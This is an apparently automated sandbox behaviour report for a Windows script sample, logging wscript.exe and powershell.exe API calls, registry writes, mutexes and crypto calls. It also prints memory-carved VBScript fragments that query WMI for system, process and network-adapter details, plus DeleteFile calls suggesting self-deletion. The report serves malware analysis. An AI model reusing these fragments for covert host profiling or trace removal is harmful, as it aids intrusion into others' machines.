940000000a00000000000000ab3f00000200000000000000fcef9abcdc0000000000000000000000b0f39abcdc0000005804c4e43a02000010ea9abcdc00000000000000000000004ef70414f87f0000fcef9abcdc0000000000000000000000000000000000000099dd9d16f87f00000000000000000000a0e99abcdc000000b0e99abcdc00000001000000dc00000000000000 (UID: 00000000-00005276) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b0514f87f000000001df3ff7f00000000000000000000000000000000000008061ef3ff7f00000001000000000000f098a916f87f000000010000000000000001000000000000000000000000000000061ef3ff7f000001000000000000000f181df3ff7f0000000000000000000000061ef3ff7f000000000000 (UID: 00000000-00005276) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c314adfff7f0000708b4cdfff7f00000200000000000000708b4cdfff7f000000000000000000000300000000000000b1314adfff7f0000a8154ddfff7f0000104675e83a020000204675e83a020000888b4cdfff7f00000100000000000000239fab16f87f00000000000000000000888b4cdfff7f000006000000 (UID: 00000000-00005276) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d46dfff7f0000c0fe47dfff7f00000400000000000000c0fe47dfff7f000000000000000000000500000000000000453d46dfff7f0000286a48dfff7f0000be5a0614f87f0000c83e75e83a020000c435fdfc6b7e0000b08e0614f87f0000239fab16f87f00000100000000000000d13246dfff7f00000000ff13 (UID: 00000000-00005276) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a0614f87f000000007af1ff7f000000000000000000000000000000000000883f7bf1ff7f00000001000000000000f098a916f87f0000000100000000000000010000000000000000000000000000803f7bf1ff7f00000100000000000000bf107af1ff7f00000000000000000000803f7bf1ff7f000000000000 (UID: 00000000-00005276) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000001800000000000000545d8558fc500000d7ac095d58ac000006000000000000000000d14ef67f0000a402fe01f87f00000600000004020000d8f19d16f87f000090fe2fc51b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d14e (UID: 00000000-00003076) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000008cf72fc51b000000000000000000000040fb2fc51b0000008804327604020000a0f12fc51b00000000000000000000004ef70414f87f00008cf72fc51b0000000000000000000000000000000000000099dd9d16f87f0000000000000000000030f12fc51b00000040f12fc51b000000010000001b00000000000000 (UID: 00000000-00003076) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b0514f87f000000001df3ff7f00000000000000000000000000000000000008061ef3ff7f00000001000000000000f098a916f87f000000010000000000000001000000000000000000000000000000061ef3ff7f000001000000000000000f181df3ff7f0000000000000000000000061ef3ff7f000000000000 (UID: 00000000-00003076) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c314adfff7f0000708b4cdfff7f00000200000000000000708b4cdfff7f000000000000000000000300000000000000b1314adfff7f0000a8154ddfff7f0000d041dd7904020000e041dd7904020000888b4cdfff7f00000100000000000000239fab16f87f00000000000000000000888b4cdfff7f000006000000 (UID: 00000000-00003076) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d46dfff7f0000c0fe47dfff7f00000400000000000000c0fe47dfff7f000000000000000000000500000000000000453d46dfff7f0000286a48dfff7f0000be5a0614f87f00002845dd790402000034128558fc500000b08e0614f87f0000239fab16f87f00000100000000000000d13246dfff7f00000000ff13 (UID: 00000000-00003076) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a0614f87f000000007af1ff7f000000000000000000000000000000000000883f7bf1ff7f00000001000000000000f098a916f87f0000000100000000000000010000000000000000000000000000803f7bf1ff7f00000100000000000000bf107af1ff7f00000000000000000000803f7bf1ff7f000000000000 (UID: 00000000-00003076)34:Tedd,"powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "C90B000000000000040004000102030000000000630000000D7879000200000087DE830034000000A19F5E000100010000000100000056737D000100040000001F0000001A9CB20000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "501F0000000000000400040001001C00020000000D7879001E8D520021777A00259960003E3383004AAA8100560A8500726E4A0075A37E008106950087DE8300938661009D9D9200A736A800B1CE9800B3F1A200BC6EB400C046AD00C36D8100CC495600CF74AA00D3E88D00E1C97700E7997F00EBBF8400F1FC6000F7D36F00F7ED6A0006000600000019C398001C4452007140A30091508A00A522A400C45F7F0000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "wscript.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US")35:T1c19,Found string "set ObjWMI=GetObject("winmgmts:\\" & fcom & "\root\CIMV2")" (Indicator: "root\cimv2"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set colItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem",,48)" (Indicator: "wmi.exe"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & fcom & "\root\cimv2")" (Indicator: "root\cimv2"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set ObjWMI=GetObject("winmgmts:\\"+fcom+"\root\CIMV2")" (Indicator: "root\cimv2"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: "wmi.exe"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set wdate=CreateObject("WbemScripting.SWbemDateTime")" (Indicator: "wbemscripting."; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set csItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: "wmi.exe"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set tzItems=ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: "wmi.exe"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: "wmi.exe"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: "wmi.exe"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "\\.\root\CIMV2" (Indicator: "root\cimv2"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp") Found string "WbemScripting.SWbemDateTime" (Indicator: "wbemscripting."; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "root\CIMV2" (Indicator: "root\cimv2"; in Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp") Found string "te}!\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.7A01D000.00000004.mdmp") Found string "3916 0 C:\WINDOWS\system32\wbem\wmiprvse.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "4700 0 C:\WINDOWS\system32\wbem\wmiprvse.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A00E000.00000004.mdmp") Found string "0 0 C:\WINDOWS\system32\wbem\wmiprvse.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp") Found string "tem32\wbem\wmiprvse.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A00E000.00000004.mdmp") Found string "m32\wbem\wmiprvse.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A00E000.00000004.mdmp, 00000000-00003076.00000002.259256.7A01D000.00000004.mdmp, 00000000-00003076.00000002.259256.7A028000.00000004.mdmp") Found string "0 C:\WINDOWS\system32\wbem\wmiprvse.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "WmiPrvSE.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A00E000.00000004.mdmp") Found string "C:\WINDOWS\system32\wbem\wmiprvse.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A00E000.00000004.mdmp, 00000000-00003076.00000002.259256.7A01D000.00000004.mdmp") Found string "set ObjWMI=GetObject("winmgmts:\\" & fcom & "\root\CIMV2")" (Indicator: "root\cimv2"; in Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp")36:T19f4,Found string "set colItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem",,48)" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set prclst = objWMIService.ExecQuery ("Select * from Win32_Process")" (Indicator: " Win32_Process"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set csItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set tzItems=ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: " Win32_TimeZone"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: " Win32_Process"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: " Win32_Processor"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: " Win32_NetworkAdapte"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: " Win32_NetworkAdapter"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: " Win32_NetworkAdapterConfiguration"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "InstallDate, __RELPATH from Win32_PageFile where Name = "C:\\pagefile.sys"" (Indicator: " Win32_PageFile"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp") Found string "set colItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem",,48)" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set prclst = objWMIService.ExecQuery ("Select * from Win32_Process")" (Indicator: " Win32_Process"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set csItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set tzItems=ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: " Win32_TimeZone"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: " Win32_Process"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: " Win32_Processor"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: " Win32_NetworkAdapte"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: " Win32_NetworkAdapter"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: " Win32_NetworkAdapterConfiguration"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp")37:T924,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6036:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6036:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6036:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6036:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:6036:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:6036:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6036:120:WilError_01" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "SM0:6036:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process powershell.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5276:304:WilStaging_02" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5276:304:WilStaging_02" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5276:120:WilError_01" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5276:120:WilError_01" Process wscript.exe created mutex with name "SM0:5276:304:WilStaging_02" Process wscript.exe created mutex with name "SM0:5276:120:WilError_01" Process wscript.exe created mutex with name "Local\SM0:5276:304:WilStaging_02" Process wscript.exe created mutex with name "Local\SM0:5276:120:WilError_01" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3076:304:WilStaging_02" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3076:304:WilStaging_02"38:Tb22,"powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "80606e71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "80506e71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "80526e71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "80586e71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e02f7c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0187c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0217c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e02e7c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e02d7c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e01b7c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0227c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e02b7c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0327c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0277c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e01c7c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e01d7c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0237c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0247c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e01b7c71bb020000" "szProvider": "Microsoft Enhanced RSA and AES Cryptographic Provider" "dwProvType": "24" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e02a7c71bb020000" "dwProvType": "1" "dwFlags": "4026531840"}39:T5fc,Found reference to API "fso.DeleteFile(sp)" (Indicator: "DeleteFile"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found reference to API "DeleteFileWW" (Indicator: "DeleteFile"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found reference to API "so.DeleteFile(sp)" (Indicator: "DeleteFile"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found reference to API "DeleteFileWWL" (Indicator: "DeleteFile"; Source: "00000000-00003076.00000002.259256.4ED30000.00000002.mdmp") Found reference to API "fso.DeleteFile(sp)" (Indicator: "DeleteFile"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found reference to API "DeleteFileWW" (Indicator: "DeleteFile"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found reference to API "so.DeleteFile(sp)" (Indicator: "DeleteFile"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp")3a:T663,Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_IDEFAULTANSICODEPAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ICOUNTRY" (Indicator: "GetLocaleInfo"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ILANGUAGE" (Indicator: "GetLocaleInfo"; Source: 